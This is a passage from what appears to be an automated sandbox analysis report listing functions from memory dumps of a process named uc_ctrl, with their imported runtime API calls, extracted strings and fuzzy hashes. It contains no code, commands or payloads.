                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Locinfo@std@@free$H_prolog3$??0_??1_D@std@@@std@@@std@@ExceptionGetcvtGetdateorderGetdays@_Getmonths@_H_prolog3_catchInit@?$time_get@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowU?$char_traits@V12@V12@@V?$istreambuf_iterator@_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 4075780567-0
                                                                                              • Opcode ID: 6b75e9f52cba605d7918d1f344ff58862db193d4f2fc6f23787b406a2bab06c6
                                                                                              • Instruction ID: 9cc84ee5afec43f4b2ea3d2527dc2980f0c3a8f8979ccae336383a9cf1b3ae36
                                                                                              • Opcode Fuzzy Hash: 6b75e9f52cba605d7918d1f344ff58862db193d4f2fc6f23787b406a2bab06c6
                                                                                              • Instruction Fuzzy Hash: 14F09235A11208DBCB01EFD4C551ACDB7B8BF18B48F60849EE441A7740DBB4AB4EDB91
                                                                                              Function 6CEEDEE0 Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEDEE7
                                                                                              • new.LIBCMT ref: 6CEEDEF6
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000), ref: 6CEEDF03
                                                                                                • Part of subcall function 6CEEB490: __EH_prolog3.LIBCMT ref: 6CEEB497
                                                                                                • Part of subcall function 6CEEB490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6CEEB457,00000000,6CEE3249,00000048), ref: 6CEEB4A1
                                                                                                • Part of subcall function 6CEEB490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6CEEB4B5
                                                                                                • Part of subcall function 6CEEB490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6CEEB4BD
                                                                                                • Part of subcall function 6CEEB490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6CED5578), ref: 6CEEB4D3
                                                                                                • Part of subcall function 6CEEB490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6CEEB511
                                                                                              • ?_Init@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IAEXXZ.MSVCP140(00000000), ref: 6CEEDF12
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_??4?$_D@std@@Init@?$basic_streambuf@_Init@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleU?$char_traits@_V01@V123@_W@std@@@std@@Yarn@_lock_localesmallocstd::locale::_
                                                                                              • String ID:
                                                                                              • API String ID: 119050520-0
                                                                                              • Opcode ID: ce73e525b314121e9c04b1585ec1f6e689f631620b44d88451f3c1af072fb963
                                                                                              • Instruction ID: e8ef139450b6d1cd3643ebfda3bc2df319ade44b176be5d269656869bd25b86b
                                                                                              • Opcode Fuzzy Hash: ce73e525b314121e9c04b1585ec1f6e689f631620b44d88451f3c1af072fb963
                                                                                              • Instruction Fuzzy Hash: 77E08C317013029BE310AB64852239C72F2AF44B18F74844DD1008FBC0DFBA98089745
                                                                                              Function 6CEE5E80 Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE5E87
                                                                                              • new.LIBCMT ref: 6CEE5E96
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000), ref: 6CEE5EA3
                                                                                                • Part of subcall function 6CEEB490: __EH_prolog3.LIBCMT ref: 6CEEB497
                                                                                                • Part of subcall function 6CEEB490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6CEEB457,00000000,6CEE3249,00000048), ref: 6CEEB4A1
                                                                                                • Part of subcall function 6CEEB490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6CEEB4B5
                                                                                                • Part of subcall function 6CEEB490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6CEEB4BD
                                                                                                • Part of subcall function 6CEEB490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6CED5578), ref: 6CEEB4D3
                                                                                                • Part of subcall function 6CEEB490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6CEEB511
                                                                                              • ?_Init@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IAEXXZ.MSVCP140(00000000), ref: 6CEE5EB2
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_??4?$_D@std@@Init@?$basic_streambuf@_Init@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleU?$char_traits@_V01@V123@_W@std@@@std@@Yarn@_lock_localesmallocstd::locale::_
                                                                                              • String ID:
                                                                                              • API String ID: 119050520-0
                                                                                              • Opcode ID: 6d9fc12338437dc3671d6d3ffebffd63bdc30d46478b92fefd413a0187ee32f3
                                                                                              • Instruction ID: 80f34cf97ae93fc164e43017d2016802b0a2df6f47ce0597872a1f8492b5001e
                                                                                              • Opcode Fuzzy Hash: 6d9fc12338437dc3671d6d3ffebffd63bdc30d46478b92fefd413a0187ee32f3
                                                                                              • Instruction Fuzzy Hash: FCE08C317013029BE710AB64852239C72F2AB44F18F60844ED1008FB80DFBA5808A785
                                                                                              Function 6D0C646D Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 6D0C646D
                                                                                              • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 6D0C6472
                                                                                              • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 6D0C6477
                                                                                                • Part of subcall function 6D0C6B9B: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 6D0C6BAC
                                                                                              • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 6D0C648C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                                                                              • String ID:
                                                                                              • API String ID: 1761009282-0
                                                                                              • Opcode ID: e3e196b70cd7c6cbccbe7df6e02ae4c7dcb589dc43b8c4ccb0c9ad7106e53efe
                                                                                              • Instruction ID: be980ded8a055c9b18e7cbea81e3269f7a69cf4e823e0593fdceda85145a0ff3
                                                                                              • Opcode Fuzzy Hash: e3e196b70cd7c6cbccbe7df6e02ae4c7dcb589dc43b8c4ccb0c9ad7106e53efe
                                                                                              • Instruction Fuzzy Hash: EAC04C1409C102643C3126B012103BF23655C977CDBC614D0DB50571759B35104B51F3
                                                                                              Function 6CEDAA10 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CEDAA15
                                                                                              • fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CEDAA1F
                                                                                              • __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CEDAA27
                                                                                              • fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CEDAA30
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: __acrt_iob_func$fputcfputs
                                                                                              • String ID:
                                                                                              • API String ID: 384373759-0
                                                                                              • Opcode ID: 6941114364f86fbd2dcf8480e394b0db5e97a36609aef4cafdf88f24107dd380
                                                                                              • Instruction ID: 9f2eed37dd448f7b78d6c533d14be365e90e2862c0032f947ba2fb53f0b3d412
                                                                                              • Opcode Fuzzy Hash: 6941114364f86fbd2dcf8480e394b0db5e97a36609aef4cafdf88f24107dd380
                                                                                              • Instruction Fuzzy Hash: 1ED09E31B50214BBEA602FE4CC0EB697B3EEB87705F004150BA0D84192C6A185508BEA
                                                                                              Function 6CEF5CD0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 307COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF5CDA
                                                                                                • Part of subcall function 6CEF9D21: __EH_prolog3.LIBCMT ref: 6CEF9D28
                                                                                                • Part of subcall function 6CEF9D21: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6CEF9D33
                                                                                                • Part of subcall function 6CEF9D21: ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEF9D4B
                                                                                                • Part of subcall function 6CEF9D21: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CEF9DAD
                                                                                                • Part of subcall function 6CEEA771: _Mpunct.LIBCPMT ref: 6CEEA77C
                                                                                                • Part of subcall function 6CEF8AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6CEFA40A,?,?,?,?,?,6CEEF3F7,00000014), ref: 6CEF8B07
                                                                                              Strings
                                                                                              • 0123456789ABCDEFabcdef-+Xx, xrefs: 6CEF5D3A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_?sgetc@?$basic_streambuf@_Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@MpunctU?$char_traits@_W@std@@@std@@_lock_locales
                                                                                              • String ID: 0123456789ABCDEFabcdef-+Xx
                                                                                              • API String ID: 3682361762-2799312399
                                                                                              • Opcode ID: dd7eedbe67b9b30c16804069dbebc5e81c3e1052227b3a18583839a2d9bd3374
                                                                                              • Instruction ID: a2fb3ad4d49e5ba585c128b3641fa292aac69c716ae165e7d5197aff2fb18798
                                                                                              • Opcode Fuzzy Hash: dd7eedbe67b9b30c16804069dbebc5e81c3e1052227b3a18583839a2d9bd3374
                                                                                              • Instruction Fuzzy Hash: A3C1B371A0A2588BDF21CF68C4807DDBBB1AF6130CF748199D865AB742DB709D8BCB51
                                                                                              Function 6CEF7DE0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 307COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF7DEA
                                                                                                • Part of subcall function 6CEF9686: __EH_prolog3.LIBCMT ref: 6CEF968D
                                                                                                • Part of subcall function 6CEF9686: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE676,?,?,?,?,?,?,?,?,00000000), ref: 6CEF9698
                                                                                                • Part of subcall function 6CEF9686: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6CEF96B0
                                                                                                • Part of subcall function 6CEF9686: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEF9712
                                                                                                • Part of subcall function 6CEEA771: _Mpunct.LIBCPMT ref: 6CEEA77C
                                                                                                • Part of subcall function 6CEF8AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6CEFA40A,?,?,?,?,?,6CEEF3F7,00000014), ref: 6CEF8B07
                                                                                              Strings
                                                                                              • 0123456789ABCDEFabcdef-+Xx, xrefs: 6CEF7E4A
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_?sgetc@?$basic_streambuf@_Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@MpunctU?$char_traits@_W@std@@@std@@_lock_locales
                                                                                              • String ID: 0123456789ABCDEFabcdef-+Xx
                                                                                              • API String ID: 3682361762-2799312399
                                                                                              • Opcode ID: 0d1c816a2566fb0e7442f6806a9114de59773d47098b36456f640ede85d02924
                                                                                              • Instruction ID: 0aefd8c69764422a734d2e6a6219233f18a128ba7180ec3acdc434f343eb1675
                                                                                              • Opcode Fuzzy Hash: 0d1c816a2566fb0e7442f6806a9114de59773d47098b36456f640ede85d02924
                                                                                              • Instruction Fuzzy Hash: C6C1A271A052588BEF21CF69C8807DDBBB1AF4230CF74419AD8A56B742DB709D8BCB51
                                                                                              Function 00103AB0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 217COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnumWindows.USER32(001067D0,0010ACA8), ref: 00103B84
                                                                                              • GetClassNameW.USER32(00000000,?,00000200), ref: 00103BDD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ClassEnumNameWindows
                                                                                              • String ID: simba_main
                                                                                              • API String ID: 1187928955-3195281193
                                                                                              • Opcode ID: a14a3e43b7eadfa41f70bc209552233d427a9bfb3b29f00c60f04a094e299ac4
                                                                                              • Instruction ID: dcbde524a317bd4646971c0a91593266c0edb7da1b98470a592df9f2f55c0043
                                                                                              • Opcode Fuzzy Hash: a14a3e43b7eadfa41f70bc209552233d427a9bfb3b29f00c60f04a094e299ac4
                                                                                              • Instruction Fuzzy Hash: 4B91DF709002198FDB24CF68C998BA9B7F4BF58314F1482E9D499AB2D1DBB19F80CF40
                                                                                              Function 00103DD0 Relevance: 5.4, APIs: 4, Instructions: 403COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • wcsstr.VCRUNTIME140(?,?), ref: 00103F1C
                                                                                              • wcsstr.VCRUNTIME140(?,0010AB0C,?,00000000,00000000), ref: 00103FD8
                                                                                              • wcsstr.VCRUNTIME140(?,0010AB10), ref: 00104009
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: wcsstr
                                                                                              • String ID:
                                                                                              • API String ID: 2735924446-0
                                                                                              • Opcode ID: e928159b31c0be0b92c61c9ef9c5c7433ebcabaf589008815cab6e0be65681ca
                                                                                              • Instruction ID: fd9a8349f917993da817243f745da856ddf1b166f45274f5585bd93ed0ab5cc2
                                                                                              • Opcode Fuzzy Hash: e928159b31c0be0b92c61c9ef9c5c7433ebcabaf589008815cab6e0be65681ca
                                                                                              • Instruction Fuzzy Hash: 8EE1B170A00606DFDB04CF68C898AAEB7F5FF54320F148259E9669B2D1DBB4AD44CF91
                                                                                              Function 6CEDCE2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _Dtest.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEDD0B7), ref: 6CEDCE50
                                                                                              • _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEDD0B7,?), ref: 6CEDCE66
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Dtest_errno
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3263362069-738913995
                                                                                              • Opcode ID: 38a7aff4d5a919cc0ca2e6bddba0403af59b07214a7803d732886ec239952908
                                                                                              • Instruction ID: 70c4d3171e032ad0d9f0341a8b2f7e22bfe88ca54877f7065f9098316fb1ffa1
                                                                                              • Opcode Fuzzy Hash: 38a7aff4d5a919cc0ca2e6bddba0403af59b07214a7803d732886ec239952908
                                                                                              • Instruction Fuzzy Hash: A541E4B1A1481ED7CF04BFA4E8842EDBB74FF49364F7245ADD88562580DF31685B8394
                                                                                              Function 6CF932DD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF932E4
                                                                                              • CoCreateGuid.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,00000028), ref: 6CF9333F
                                                                                              Strings
                                                                                              • %08lX%04X%04x%02X%02X%02X%02X%02X%02X%02X%02X, xrefs: 6CF9338F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CreateGuidH_prolog3_
                                                                                              • String ID: %08lX%04X%04x%02X%02X%02X%02X%02X%02X%02X%02X
                                                                                              • API String ID: 2971167768-1017209998
                                                                                              • Opcode ID: 55df54dcbb2fdfa0b7eddc4deba5ecb6ccd69a3a7bf8976f80c07ec1fe5b2b8c
                                                                                              • Instruction ID: a2526ed181c1ac351f78e293dc65fe96c0b33c28c6f6d41ce5f450142eb9cb13
                                                                                              • Opcode Fuzzy Hash: 55df54dcbb2fdfa0b7eddc4deba5ecb6ccd69a3a7bf8976f80c07ec1fe5b2b8c
                                                                                              • Instruction Fuzzy Hash: 80419872905189AFDF11DFA8C854AFEBBF9AF09318F140458E541BB2C1CB399E08CB60
                                                                                              Function 6CEEEF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEEEF77
                                                                                              • _Wcsftime.API-MS-WIN-CRT-TIME-L1-1-0(?,00000000,?,?,?,00000010,00000000), ref: 6CEEEFF7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3_Wcsftime
                                                                                              • String ID: !%x
                                                                                              • API String ID: 1145147137-1893981228
                                                                                              • Opcode ID: aacfe3f32b45c998e6e78d8b7bd6d5dd9d70c92bfc1a53e4d3d8639203bc6691
                                                                                              • Instruction ID: 618abd788473405a1a602caebfafea319bcd8081999060d7f4bf344c0ba0d14a
